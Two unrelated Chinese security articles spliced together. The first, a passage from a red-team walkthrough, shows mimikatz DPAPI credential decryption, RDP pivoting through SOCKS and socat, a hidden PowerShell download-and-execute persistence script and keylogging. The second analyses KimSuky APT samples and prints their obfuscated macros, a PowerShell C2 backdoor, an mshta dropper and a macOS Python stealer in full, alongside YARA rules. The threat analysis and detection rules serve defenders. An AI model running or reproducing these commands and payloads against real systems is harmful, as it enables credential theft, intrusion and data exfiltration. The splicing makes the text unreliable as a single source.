**C:Usersrasta_mouseAppDataLocalMicrosoftCredentials2647629F5AA74CD934ECD2F88D64ECD0**
这个文件：
beacon> mimikatz dpapi::cred /in:C:Usersrasta_mouseAppDataLocalMicrosoftCredentials2647629F5AA74CD934ECD2F88D64ECD0
BLOB dwVersion : 00000001 - 1 guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb} dwMasterKeyVersion : 00000001 - 1 guidMasterKey : {6515c6ef-60cd-4563-a3d5-3d70a6bc6992} dwFlags : 20000000 - 536870912 (system ; ) dwDescriptionLen : 00000030 - 48 szDescription : Local Credential Data
algCrypt : 00006603 - 26115 (CALG3DES) dwAlgCryptLen : 000000c0 - 192 dwSaltLen : 00000010 - 16 pbSalt : be072ec0f54a6ceaffd09fe2275d72f9 dwHmacKeyLen : 00000000 - 0 pbHmackKey : algHash : 00008004 - 32772 (CALGSHA1) dwAlgHashLen : 000000a0 - 160 dwHmac2KeyLen : 00000010 - 16 pbHmack2Key : a3579f9e295013432807757d3bcdf82e dwDataLen : 000000d8 - 216 pbData : 0bad8cb788a364061fa1eff57c3cbc83c8aa198c95537f66f2f973c8fe5e7210626c58423b84b55f604cff2b23165b690ad7fa7ad03d80051cb7c1a0e987f36586ede1bd7ff7e2b9f1d3cbc4b8f1b8557ab1be3402d3bfe39b1682353504ff156615b44ea83aa173c3f7830b65bf9202d823932ca69413fcb8bca1a76893c7cbab7e0ee0bbe9269a8b9f65e88e099334177be15cf977a44b77ba6e829c89303ef4764f5fd661e722c7508ad2e01a41f9cd079fc7ce5a8dba90c94a2314941674ad47567bd9c980548f809fe72ce4895b6a56cb9148c47afb dwSignLen : 00000014 - 20 pbSign : 43559a2b2e9b11bc4b56828a1d2ece489c9dfd52
其中我们需要注意两个字段：pbData以及guidMasterKey。pbData是我们需要解密的字段，而guidMasterKey是解密时要用到的关键值。
LSASS中很有可能在缓存中保存了这个关键值，因为我们具有SeDebugPrivilege权限，我们可以提升权限，获取相应信息。
beacon> mimikatz !sekurlsa::dpapi
在一大堆输出结果中，我们找到了想要的GUID以及MasterKey值：
[00000000] * GUID : {6515c6ef-60cd-4563-a3d5-3d70a6bc6992} * Time : 02/09/2017 13:37:51 * MasterKey : 95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b * sha1(key) : 89f35906909d78c84ba64af38a2bd0d1d96a0726
如果我们在交互模式下运行mimikatz，程序会将这些值自动添加到dpapi缓存中，当我们准备解密凭据时，mimikatz就会使用这些值。但如果我们通过Cobalt
Strike运行mimikatz，我们无法保持在同一个会话中（或者已经有人找到保持会话的方法，但我还不知道），因此，我们需要手动使用这个值。
beacon> mimikatz dpapi::cred /in:C:Usersrasta_mouseAppDataLocalMicrosoftCredentials2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
Decrypting Credential: * masterkey : 95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b CREDENTIAL credFlags : 00000030 - 48 credSize : 000000d2 - 210 credUnk0 : 00000000 - 0
Type : 00000002 - 2 - domainpassword Flags : 00000000 - 0 LastWritten : 02/09/2017 12:37:44 unkFlagsOrSize : 00000030 - 48 Persist : 00000002 - 2 - localmachine AttributeCount : 00000000 - 0 unk0 : 00000000 - 0 unk1 : 00000000 - 0 TargetName : Domain:target=TERMSRV/rdp01 UnkData : (null) Comment : (null) TargetAlias : (null) UserName : LANrastamouseadm CredentialBlob : Sup3rAw3s0m3Passw0rd! <--- BOOM! Attributes : 0
**四、RDP01**
****
现在，我们可以使用这些凭据通过RDP登录到跳转主机，提醒一下，我们的目标是直接在攻击主机上完成这个攻击过程。因此，我们先要在当前Beacon上搭建一个SOCKS代理服务。
beacon> socks 1337
[+] started SOCKS4a server on: 1337
通过SSH登录Teamserver，如果尚未安装socat以及proxychains，就安装这两个工具。
修改 **proxychains.conf** 配置文件，使用127.0.0.1地址以及1337端口。
通过 **proxychains** 运行socat：
proxychains socat TCP4-LISTEN:3389,fork TCP4:10.0.0.100:3389
这样一来，Teamserver会在3389端口上监听，所有访问该端口的流量会经过代理，被重定向10.0.0.100的3389端口。
注意：Beacon的SOCKS代理没有使用验证信息，因此请确保Teamserver的防火墙不会将相应端口暴露在整个互联网上。
现在，我们可以使用RDP协议访问Teamserver的IP地址，经过跳转后，最终登录的是跳转主机。
**五、持久化**
****
现在我们已经能够访问这台服务器，我们需要设置持久化机制，以便“真正的”rastamouseadm用户登录时，我们能拿到一个SMB Beacon。
简单的操作步骤如下所示：
**创建一个stageless类型的PowerShell SMB Beacon载荷。**
**在Teamserver上的/smb路径托管这个payload。**
**在当前beacon中创建一个反弹型端口转发：**
rportfwd 8080 178.62.56.134 80
**使用如下内容创建启动脚本** ，脚本路径为
**C:Usersrasta_mouse_admAppDataRoamingMicrosoftWindowsStart
MenuProgramsStartupstartup.bat**
powershell.exe -nop -w hidden -c "iex ((new-object net.webclient).downloadstring('http://10.0.1.200:8080/smb'))"
**注销RDP会话**
备注：如果你可以在该服务器上提升权限、运行或注入到SYSTEM进程中，那么你不必依赖RDP会话来运行Beacon。
当我们的目标用户登录时，我们可以在日志中看到命中信息：
09/02 14:19:45 visit from: 178.62.56.134 Request: GET /smb page Serves /opt/cobaltstrike/uploads/beacon.ps1 null
现在我们可以link到这个beacon。
beacon> link 10.0.0.100
[+] established link to child beacon: 10.0.0.100
**六、跳转到秘密网络**
****
以跳转主机为据点，我们需要掌握进入秘密网络的具体方法。
其实我们可以用键盘记录器窃取所需的信息，如下所示：
beacon> keylogger 1816 x64
Start menu
remo
Remote Desktop Connection
172.16.0.10
Windows Security
SECRETrasta_mouse[tab]Passw0rd!
接下来执行如下操作：
停止Beacon上的SOCKS代理服务，同时也停止Teamserver上的proxychains、socat。
在跳转主机上开启新的SOCKS代理服务（可以使用相同的端口）。
在Teamserver上，运行
proxychains socat TCP4-LISTEN:3389,fork TCP4:172.16.0.10:3389
命令。
与前面的操作一样，使用RDP访问Teamserver IP，最终我们就可以登录到秘密网络中。
**七、总结**
****
简而言之，永远不要保存RDP凭据信息，始终在跳转主机上使用双因素认证，DPAPI并不能提供足够的防护。 | 社区文章 |
# KimSuky各类攻击手法浅析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 概述
KimSuky是总部位于朝鲜的APT组织，根据卡巴的情报来看，至少2013年就开始活跃至今。该组织专注于针对韩国智囊团以及朝鲜核相关的目标。
KimSuky的ATT&CK图如下：
根据Mitre的ATTCK可以知道，KimSuky攻击的第一阶段基本是通过鱼叉攻击完成的，和大多数攻击的第一阶段相同，KimSuky的前置攻击也分为附件和邮件链接两种。
鱼叉攻击之后，紧接着是powershell的命令执行。根据笔者分析到的样本来看，附件攻击也好，链接攻击也好，大多数都是诱导用户下载并打开带有恶意宏代码的office文档执行恶意宏。恶意宏代码执行之后，通常会解密执行一段powershell指令进行后续的payload下载。
后续payload下载之后，KimSuky通常会通过注册表、启动目录、服务、注入Explorer等方式实现本地持久化。
此外，根据已有的样本来看，KimSuky还具备了关闭系统防火墙、禁用WindowsDefender、枚举磁盘等用于对抗检测的功能，具备删除已收集的数据文件的痕迹清理功能。
当一切准备方案就绪之后，KimSuky的马主要是窃取各大Web浏览器的凭证以及使用基于Powershell的键盘记录器收集用户的键盘输入。
关于数据加密，KimSuky主要是使用了RC4算法保护自己的数据。
关于命令分发，KimSuky拥有传统C2和魔改Teamview两种命令分发方式。
## 0x01 诱饵分析
根据红雨滴的Digital_Weapon和笔者之前接触到记录的KimSuky来看，部分具有诱惑性的文件名如下：
针对这些诱饵文件，中文翻译得到的词云大致如下：
## 0x02 样本分析
### doc样本分析
原始样本md5为：772a5abc0e946230a50628db4a08dd80
上传VT的文件名为：학술회의 개최.doc
译为：召开学术会议.doc
原始样本是一个带密码保护的office宏文档，和之前的一样，这里主要是解密执行一段Powershell代码：
完整宏代码如下
Sub AutoOpen()
asfwefsadfasfsadf
dsfweqfasdfwqfsdaf
asfwqfasfsdafas
sdfqefsdafsadfwqefsadf
End Sub
Function dsfweqfasdfwqfsdaf()
Dim qewrtredf(10) As String
Dim vbNormalFocus As Integer
vbNormalFocus = Right(Left("jfsklfkshsdf023jkjffkjfkjisfj23", 13), 1)
qewrtredf(1) = "$+DC$+D:$+D\$+DW$+Di$+Dn$+Dd$+Do$+Dw$+Ds$+D\$+DS$+Dy$+Ds$+DW$+DO$+DW$+D$+D6$+D4$+D\$+DW$+Di$+Dn$+Dd$+Do$+Dw$+Ds$+DP$+Do$+Dw$+D$+De$+Dr$+DS$+Dh$+De$+Dl$+Dl$+D$+D\$+Dv$+D1$+D.$+D0$+D\$+Dp$+D$+Dow$+De$+Dr$+D$+Ds$+Dh$+De$+Dl$+Dl$+D.$+De$+Dx$+De$+D $+D-$+DW$+Di$+Dn$+Dd$+Do$+Dw$+DS$+Dt$+Dy$+Dl$+De"
qewrtredf(2) = "$+D $+DH$+Di$+Dd$+Dd$+De$+Dn$+D $+D-$+Dc$+Do$+Dm$+Dm$+Da$+Dn$+Dd$+D $+D&$+D{$+D[$+Ds$+Dt$+Dr$+Di$+Dn$+Dg$+D]$$+Da$+D"
qewrtredf(3) = "=$+D{$+D($+DN$+De$+Dw$+D-$+DO$+Db$+Dj$+De$+Dc$+Dt$+D $+DN$+De$+Dt$+D.$+DW$+De$+Db$+DC$+Dl$+Di$+De$+Dn$+Dt$+D)$+D."
qewrtredf(4) = "$+DD$+Do$+D($+D'h$+Dt$+Dt$+Dp$+D:$+D/$+D/$+Dg$+Do$+Dl$+Dd$+Db$+Di$+Dn$+D.$+Dm$+Dy$+Da$+Dr$+Dt$+Ds$+Do$+Dn$+Dl"
qewrtredf(5) = "$+Di$+Dn$+De$+D.$+Dc$+Do$+Dm$+D/$+Dl$+De$+D/$+Dyj$+D.$+Dt$+Dx$+Dt'$+D)"
qewrtredf(6) = "$+D}$+D;$+D$$+Db$+D=$+D$$+Da$+D.$+Di$+Dn$+Ds$+De$+Dr$+Dt$+D($+D2$+D9$+D,$+D'$+Dw$+Dn$+Dl$+Do$+Da$+Dd$+DS$+Dt$+D"
qewrtredf(7) = "r$+Di$+Dn$+Dg$+D'$+D)$+D;$+D$$+Dc$+D=$+Di$+De$+Dx$+D $+D$$+Db$+D;$+Di$+De$+Dx$+D $+D$$+Dc$+D}"
iefkdfknfk = qewrtredf
wrewsdfdsfsad = Join(iefkdfknfk, "")
wrewsdfdsfsad = Replace(wrewsdfdsfsad, "$+D", "")
qwersdfjoi = Shell(wrewsdfdsfsad, vbNormalFocus)
End Function
Function asfwefsadfasfsadf()
Selection.Delete Unit:=wdCharacter, Count:=1
End Function
Function asfwqfasfsdafas()
Selection.WholeStory
With Selection.Font
.NameFarEast = "讣篮 绊雕"
.NameAscii = ""
.NameOther = ""
.Name = ""
.Hidden = False
End With
End Function
Function sdfqefsdafsadfwqefsadf()
With Selection.ParagraphFormat
.LeftIndent = CentimetersToPoints(2)
.SpaceBeforeAuto = True
.SpaceAfterAuto = True
End With
With Selection.ParagraphFormat
.RightIndent = CentimetersToPoints(2)
.SpaceBeforeAuto = True
.SpaceAfterAuto = True
End With
Selection.PageSetup.TopMargin = CentimetersToPoints(2.5)
Selection.PageSetup.BottomMargin = CentimetersToPoints(2.5)
End Function
解密执行的Powershell指令如下
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -command &{[string]$a={(New-Object Net.WebClient).Do('http://goldbin.myartsonline.com/le/yj.txt')};$b=$a.insert(29,'wnloadString');$c=iex $b;iex $c}"
这里可以看到，Powershell的主要功能为下载一个文件到本地执行，下载文件的链接为：
hxxp[:]//goldbin.myartsonline.com/le[/]yj.txt’
下载的yj.txt文件实质上是一个Powershell脚本，内容如下：
$SERVER_ADDR = "http://goldbin.myartsonline.com/le/"
$UP_URI = "post.php"
$upName = "yj"
$LocalID = "yj"
$LOG_FILENAME = "Alzip.hwp"
$LOG_FILEPATH = "\Alzip\"
$TIME_VALUE = 1000*60*30
$RegValueName = "Alzipupdate"
$RegKey = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
$regValue = "cmd.exe / c powershell.exe -windowstyle hidden IEX (New-Object System.Net.WebClient).DownloadString('http://goldbin.myartsonline.com/le/yj.txt')"
function decode($encstr)
$key = [byte[]](0,2,4,3,3,6,4,5,7,6,7,0,5,5,4,3,5,4,3,7,0,7,6,2,6,2,4,6,7,2,4,7,5,5,7,0,7,3,3,3,7,3,3,1,4,2,3,7,0,2,7,7,3,5,1,0,1,4,0,5,0,0,0,0,7,5,1,4,5,4,2,0,6,1,4,7,5,0,1,0,3,0,3,1,3,5,1,2,5,0,1,7,1,4,6,0,2,3,3,4,2,5,2,5,4,5,7,3,1,0,1,6,4,1,1,2,1,4,1,5,4,2,7,4,5,1,6,4,6,3,6,4,5,0,3,6,4,0,1,6,3,3,5,7,0,5,7,7,2,5,2,7,7,4,7,5,5,0,5,6)
$len = $encstr.Length
$j = 0
$i = 0
$comletter = ""
while($i -lt $len)
$j = $j % 160
$asciidec = $encstr[$i] -bxor $key[$j]
$dec = [char]$asciidec
$comletter += $dec
return $comletter
function UpLoadFunc($logpath)
$Url = $SERVER_ADDR + $UP_URI
$bReturn = $True
$testpath = Test-Path $logpath
if($testpath -eq $False)
return $bReturn
$hexdata = [IO.File]::ReadAllText($logpath)
$encletter = decode $hexdata
$nEncLen = $encletter.Length
$LF = "
$templen = 0x100000
$sum = 0
$szOptional = ""
$pUploadData = ""
Start-Sleep -Milliseconds 100
$readlen = $templen
if (($nEncLen - $sum) -lt $templen)
$readlen = $nEncLen - $sum
if ($readlen -ne 0)
$pUploadData = $encletter + $sum
$sum += $readlen
$pUploadData += "ending"
$sum += 9
$readlen = 6
Start-Sleep -Milliseconds 1
$boundary = "----WebKitFormBoundarywhpFxMBe19cSjFnG"
$ContentType = 'multipart/form-data
boundary=' + $boundary
$bodyLines = (
"--$boundary",
"Content-Disposition: form-data
name=
"MAX_FILE_SIZE
"$LF",
"10000000",
"userfile
filename=
"$upName
"Content-Type: application/octet-stream$LF",
$pUploadData,
"--$boundary"
) -join $LF
$psVersion = $PSVersionTable.PSVersion
$r = [System.Net.WebRequest]::Create($Url)
$r.Method = "POST"
$r.UseDefaultCredentials = $true
$r.ContentType = $ContentType
$enc = [system.Text.Encoding]::UTF8
$data1 = $enc.GetBytes($bodyLines)
$r.ContentLength = $data1.Length
$newStream = $r.GetRequestStream()
$newStream.Write($data1, 0, $data1.Length)
$newStream.Close()
if($php_post -like "ok")
echo "UpLoad Success
echo "UpLoad Fail
$bReturn = $False
} while ($sum -le $nEncLen)
function FileUploading($upPathName)
$bRet = $True
$testpath = Test-Path $upPathName
return $bRet
$UpL = UpLoadFunc $upPathName
if($UpL -eq $False)
$bRet = $False
echo "Success
del $upPathName
function Download
$downname = $LocalID + ".down"
$delphppath = $SERVER_ADDR + "del.php"
$downpsurl = $SERVER_ADDR + $downname
$codestring = (New-Object System.Net.WebClient).DownloadString($downpsurl)
$comletter = decode $codestring
$decode = $executioncontext.InvokeCommand.NewScriptBlock($comletter)
$RunningJob = Get-Job -State Running
if($RunningJob.count -lt 3)
$JobName = $RunningJob.count + 1
Start-Job -ScriptBlock $decode -Name $JobName
$JobName = $RunningJob.count
Stop-Job -Name $RunningJob.Name
Remove-Job -Name $RunningJob.Name
$down_Server_path = $delphppath + "
filename=$LocalID"
$response = [System.Net.WebRequest]::Create($down_Server_path).GetResponse()
$response.Close()
function Get_info($logpath)
Get-ChildItem ([Environment]::GetFolderPath("Recent")) >> $logpath
dir $env:ProgramFiles >> $logpath
dir "C:\Program Files (x86)" >> $logpath
systeminfo >> $logpath
tasklist >> $logpath
function main
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
$FilePath = $env:APPDATA + $LOG_FILEPATH
New-Item -Path $FilePath -Type directory -Force
$szLogPath = $FilePath + $LOG_FILENAME
$key = Get-Item -Path $RegKey
$exists = $key.GetValueNames() -contains $RegValueName
if($exists -eq $False)
$value1 = New-ItemProperty -Path $RegKey -Name $RegValueName
Get_info $szLogPath
while ($true)
FileUploading $szLogPath
Start-Sleep -Milliseconds 10000
Download
Start-Sleep -Milliseconds $TIME_VALUE
其中包含了KimSuky常用的协议：$boundary = “——WebKitFormBoundarywhpFxMBe19cSjFnG”
格式化一下这段Powershell代码，可以发现定义了如下几个函数：
decode 用于解码
UpLoadFunc 上传数据
FileUploading 调用UpLoadFunc进行上传
Download 下载文件到本地执行
Get_info 获取当前计算机的一些基本信息
main 主函数
主函数中的调用逻辑如下
function main
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
$FilePath = $env:APPDATA + $LOG_FILEPATH
New-Item -Path $FilePath -Type directory -Force
$szLogPath = $FilePath + $LOG_FILENAME
$key = Get-Item -Path $RegKey
$exists = $key.GetValueNames() -contains $RegValueName
if($exists -eq $False)
$value1 = New-ItemProperty -Path $RegKey -Name $RegValueName
Get_info $szLogPath
while ($true)
FileUploading $szLogPath
Start-Sleep -Milliseconds 10000
Download
Start-Sleep -Milliseconds $TIME_VALUE
在main函数中，程序首先会判断是否存在目标的Run键值，如果不存在则将自身写入到Run键值中，实现本地持久化。
接着程序会通Get_info函数获取计算机的基本信息比如ProgramFiles下的文件信息、Program File
(x86)下的文件信息、Systeminfo信息、Tasklist等等，写入到预定义好的%APPDATA%\Alzip\Alzip.hwp 中
然后通过一个永真循环，一边将本地收集到的信息通过FileUploading上传到指定的C2：
hxxp[:]//goldbin.myartsonline.com/le/post.php
一边调用Download方法尝试从C2下载后续payload到本地继续执行。
download函数中的delphppath路径为:
<http://goldbin.myartsonline.com/le/del.php>
后续payload的下载路径为：
<http://goldbin.myartsonline.com/le/yj.down>
然后程序通过WebClient的方式建立连接下载yj.down到本地并通过decode函数进行解码。解码之后通过InvokeCommand进行执行。
应该是由于样本在Twitter上被公布，攻击者目前已经关闭了该服务器的服务。
所以只能从其他地方寻找后续。
顺便补充一个针对此powershell的yara规则
import "pe"
rule KimSuky_Ps_Backdoor
{
meta:
description = "powershell backdoor"
author = "p1ut0"
date = "2020-10-12"
reference = "https://twitter.com/cyberwar_15/status/1315160377156460544"
hash = "772a5abc0e946230a50628db4a08dd80"
strings:
$url_string1 = "$downname = $LocalID + \".down\"" fullword ascii
$url_execPs = "cmd.exe / c powershell.exe -windowstyle hidden IEX"
$file_op1 = "dir $env:ProgramFiles >> $logpath" fullword ascii
$file_op2 = "dir \"C:\\Program Files (x86)\" >> $logpath" fullword ascii
$file_op3 = "systeminfo >> $logpath" fullword ascii
$file_op4 = "tasklist >> $logpath" fullword ascii
condition:
(
uint16(0) != 0x5A4D
)
and
(
all of ($url_*)
)
and
(
2 of ($file_*)
)
}
### 断链补充
根据Powershell脚本的一些特点，依托搜索引擎和VT找到了一批日期相近的样本。
其中C2分别为
<http://pingguo5.atwebpages.com/nu/>
<http://attachchosun.atwebpages.com/leess1982/>
<http://dongkuiri.atwebpages.com/venus02/venus03/>
<http://goldbin.myartsonline.com/le/>
<http://pootball.getenjoyment.net/ad/>
很遗憾的是目前所有的这些域名对应的下载文件，全部都已经403了。
于是尝试使用里面下载文件的关键字加上KimSuky进行搜索，找到了早些时候ESTSecurity对KimSuky的分析报告，里面提到了mo.down这个文件，是由mo.txt文件通过C2服务器接收然后解码的文件，ESTSecurity指出该文件和ph.down文件解码后分别对应下面的两个exe文件。
两个exe文件的文件名分别为：
• [남북연합 구상과 추진방안] 워크숍 계획.hwp (다수의 공백 포함) .exe
• 0730 워크숍2회의 발표문이상신_오창룡.hwp (다수의 공백 포함) .exe
除此之外，根据DNS解析，可以发现这些域名目前都指向在保加利亚的服务器：
185.176.43.*
同时，可以发现KimSuky至少从19年7月开始就开始使用此Powershell版本作为攻击的前置阶段：
在ESTSecurity对KimSuky的分析报告中还有这样一张图：
其中dongkuiri和pingguo5两个域名刚才已经收集到了。
值得注意的是foxonline123这个域名，可以看到该域名2019年7月份就出现过一次，在前段时间(2020年7月)又出现了一次
说明foxonlin123这个域名是长久使用的，于是使用该域名作为关键字去VT进行搜索
这里可以看到几个关键点
1. 除了185.176.43. _这个域，貌似185.176.40._ 这个域也是KimSuky所拥有的
2. 这里关联了两个exe文件，上传VT时间分别为2020-10-06和2020-08-14
3. 该域名关联的两个请求的URL，请求格式与上面分析的样本比较类似。
且这里可以看到，对应的两个文件，就是上面ESTSecurity报告中提到的两个文件。这两个exe的md5分别是
ffff18fc7c2166c2a1a3c3d8bbd95ba1
dd15c9f2669bce96098b3f7fa791c87d
基本可以确定是此类攻击的后续文件，应该可以补上断链的地方。
### 后续PE对比分析
分别将
ffff18fc7c2166c2a1a3c3d8bbd95ba1
dd15c9f2669bce96098b3f7fa791c87d
下载回来。
两个文件结构基本相同
程序会尝试读取解密名为JUYFON的资源文件，该资源名跟笔者前段时间分析的一例KimSuky资源名相同，于是找到了原样本跟此样本进行对比，发现是同一版本的木马。
这里的JUYFON实际上是一个诱惑用户的文档，程序会读取并打开该文档，迷惑用户。
接着收集本地的一些信息写入到docx文档中
最后通过CreateThread方法启动一个新线程，将数据上传到C2服务器。
直接将资源dump出来，可以看到两个资源都是hwp的文档，并且两个文档所描述的主题一致，应该是一起攻击中的不同攻击载荷。
而根据之前的分析，该exe其实是一个downloader，后续会下载一个dll到本地继续执行，但目前为止，还没有及时下载到后续的dll文件。
由于在VT上找不到这个dll，笔者又将目标投入到搜索引擎，在google中将请求路径和KimSuky作为关键字组合搜索后，在得到的结果中筛选了如下一篇分析报告：
报告中的请求路径与该exe的请求路径基本符合，且在文末给出了dll文件的md5。通过查询报告中给的域名，得到了与之前分析相同的域：185.176.43.84，这里基本可以确定报告中的dll就是这里断链的文件。
### 报告中的第二阶段exe分析
该exe
的WinMain很简单，首先是创建互斥体，然后是通过一个线程循环查找gswin32c.exe的窗口句柄，接着初始化一些需要使用的API，最后创建一个线程执行关键功能。
创建的sub_402660线程虽然代码结构和笔者之前分析的不相同，但是功能基本保持一致。都是收集信息写入文件上传，然后下载文件到本地
这里下载的文件就是zyx.dll。
可以推算，该样本应该是KimSuky第二阶段早期的Downloader，笔者上次分析的应该是第二阶段新版本的Downloader。因为该样本并不具备读取资源打开迷惑用户的功能。且代码结构相对比较简单。
因此，这里下载回来的zyx.dll 即使跟我们想要找的有所出入，但也应该是早期版本。
下载回来发现是VMP保护的，分析不动，于是放弃。
补充一个针对exe的downloader的简单yara规则,主要是靠WebKitFormBoundarywhpFxMBe19cSjFnG进行识别
rule KimSuky_Downloader
{
meta:
description = "pe dowbnloader"
author = "p1ut0"
date = "2020-10-12"
reference = "https://twitter.com/cyberwar_15/status/1315160377156460544"
hash = "ffff18fc7c2166c2a1a3c3d8bbd95ba1"
strings:
$url_string1 = "WebKitFormBoundarywhpFxMBe19cSjFnG" fullword ascii
$file_op1 = "/c systeminfo >> %s" fullword ascii
$file_op3 = "/c dir %s\\ >> %s" fullword ascii
$file_op2 = "\\Microsoft\\HNC" fullword ascii
$file_resName = "JUYFON"
condition:
(
uint16(0) == 0x5A4D
)
and
(
$url_string1
)
and
(
3 of ($file_*)
)
}
### 附带hta的doc样本分析
样本md5：A9DAC36EFD7C99DC5EF8E1BF24C2D747
该doc是2月份KimSuky利用疫情对韩国进行网络攻击的样本。红雨滴在 [COVID-19 |
新冠病毒笼罩下的全球疫情相关网络攻击分析报告](https://twitter.com/cyberwar_15/status/1232989735011794945)中对该样本有概要的分析。
使用olevba分析下样本的宏代码如下：
olevba分析到了一个完整的请求路径<http://vnext.mireene.com/theme/basic/skin/member/basic/upload/search.hta>
dump出来的完整vba代码如下
Const wwfxmpquap = 0
Private Function uvwycgyhqtmt(ByVal zjkvoxjeyiqc As String) As String
Dim tkwzqharcnkh As Long
For tkwzqharcnkh = 1 To Len(zjkvoxjeyiqc) Step 2
uvwycgyhqtmt = uvwycgyhqtmt & Chr$(Val("&H" & Mid$(zjkvoxjeyiqc, tkwzqharcnkh, 2)))
Next tkwzqharcnkh
End Function
Sub psjmjmntntn(kmsghjrsxteynvkbz As String)
With CreateObject(uvwycgyhqtmt("5753637269") & uvwycgyhqtmt("70742e5368656c6c"))
.Run kmsghjrsxteynvkbz, wwfxmpquap, True
End With
End Sub
Sub AutoOpen()
With ActiveDocument.Background.Fill
.ForeColor.RGB = RGB(255, 255, 255)
.Visible = msoTrue
.Solid
End With
Selection.WholeStory
Content = uvwycgyhqtmt("6d7368746120687474703a2f2f766e6578742e6d697265") & uvwycgyhqtmt("656e652e636f6d2f7468656d652f62617369632f736b696e2f6d656d6265722f62617369632f75706c6f61642f7365617263682e687461202f66")
Selection.Font.Hidden = False
psjmjmntntn (Content)
Selection.Collapse
ActiveDocument.Save
End Sub
这里很明显uvwycgyhqtmt是解密函数，解密函数的定义在vba代码最上面
解密出在olevba里面看到的下载地址
然后在psjmjmntntn函数中通过Wscript.Shell调用mshta 执行后面的代码下载后续payload到本地继续执行。
Search.hta文件下载之后将再次获取hta文件执行：
这里再次下载的文件是包含了恶意VBS的hta。
该hta文件将实现收集本地主机基本信息包括主机名、用户名、ip、遍历磁盘、进程list等并创建计划任务定时获取命令执行：
在此样本的分析中，KimSuky主要是通过宏下载执行hta文件，通过该hta文件继续下载并执行包含了恶意VBS的hta文件。
以该样本的请求主域名vnext.mireene.com作为关键字进行查询可以得到如下信息：
mireene是韩国地区的一个托管域名机构。属于第三方域名，所以只能对已经出现的与KimSuky样本通信的mireene进行关联，不能直接与该主域关联。
### 针对macOS的doc样本分析
在分析上一个样本搜搜vnext.mireene.com域名的时候，在Twitter的评论中还看到了另外一个关联的样本：
样本MD5为a4388c4d0588cd3d8a607594347663e0，在Twitter的发布时间是3月19日，C2:crphone.mireene[.]com
原始的doc文件是一个包含了2017-0199远程模板注入漏洞的恶意文档，文档打开时，会尝试从
<http://crphone.mireene.com/plugin/editor/Templates/normal.php?name=web>
下载注入的文档
注入的文件是一个带有宏代码的doc文档，该宏执行后，先是会在原始文档中显示诱饵文字，降低用户的防备心。
接着判断当前系统是否为macos，如果是，VBA则会通过管道执行python代码并从指定的地址下载文件加载执行。
通过github找到了对应的python代码
下载回来的python代码功能比较简单，本质还是一个downloader，用于下载后续的payload
## contents of http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=v1:
import os;
import posixpath;
home_dir = posixpath.expandvars("$HOME");
normal_dotm = home_dir + "/../../../Group Containers/UBF8T346G9.Office/User Content.localized/Templates.localized/normal.dotm"
os.system("rm -f '" + normal_dotm + "'");
fd = os.open(normal_dotm,os.O_CREAT | os.O_RDWR);
import urllib2;
data = urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=normal')).read()
os.write(fd, data);
os.close(fd)
exec(urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=v60')).read())
下载的后续payload依旧是python文件，代码如下
## contents of http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=v60
import os
import posixpath
import time
import urllib2
import threading
from httplib import *
def CollectData():
#create work directory
home_dir = posixpath.expandvars("$HOME")
workdir = home_dir + "/../../../Group Containers/UBF8T346G9.Office/sync"
os.system("mkdir -p '" + workdir + "'")
#get architecture info
os.system("python -c 'import platform;print(platform.uname())' >> '" + workdir + "/arch.txt'")
#get systeminfo
os.system("system_profiler -detailLevel basic >> '" + workdir + "/basic.txt'")
#get process list
#os.system("ps -ax >> '" + workdir + "/ps.txt'")
#get using app list
os.system("ls -lrS /Applications >> '" + workdir + "/app.txt'")
#get documents file list
os.system("ls -lrS '" + home_dir + "/documents' >> '" + workdir + "/documents.txt'")
#get downloads file list
os.system("ls -lrS '" + home_dir + "/downloads' >> '" + workdir + "/downloads.txt'")
#get desktop file list
os.system("ls -lrS '" + home_dir + "/desktop' >> '" + workdir + "/desktop.txt'")
#get volumes info
os.system("ls -lrs /Volumes >> '" + workdir + "/vol.txt'")
#get logged on user list
#os.system("w -i >> '" + workdir + "/w_i.txt'")
#zip gathered informations
zipname = home_dir + "/../../../Group Containers/UBF8T346G9.Office/backup.zip"
os.system("rm -f '" + zipname + "'")
zippass = "doxujoijcs0qei09213@#$@"
zipcmd = "zip -m -r '" + zipname + "' '" + workdir + "'"
print(zipcmd)
os.system(zipcmd)
try:
BODY = open(zipname, mode='rb').read()
headers = {"User-Agent" : "Mozilla/5.0 compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/7.0", "Accept-Language" : "en-US,en;q=0.9", "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", "Content-Type" : "multipart/form-data; boundary=----7e222d1d50232"} ;
boundary = "----7e222d1d50232";
postData = "--" + boundary + "\r\nContent-Disposition: form-data; name=""MAX_FILE_SIZE""\r\n\r\n1000000\r\n--" + boundary + "\r\nContent-Disposition: form-data; name=""file""; filename=""1.txt""\r\nContent-Type: text/plain\r\n\r\n" + BODY + "\r\n--" + boundary + "--";
conn = HTTPConnection("crphone.mireene.com")
conn.connect()
conn.request("POST", "/plugin/editor/Templates/upload.php", postData, headers)
conn.close()
#delete zipped file
os.system("rm -f '" + zipname + "'")
except:
print "error"
def ExecNewCmd():
exec(urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=new')).read())
def SpyLoop():
while True:
CollectData()
ExecNewCmd()
time.sleep(300)
main_thread = threading.Thread(target=SpyLoop)
main_thread.start()
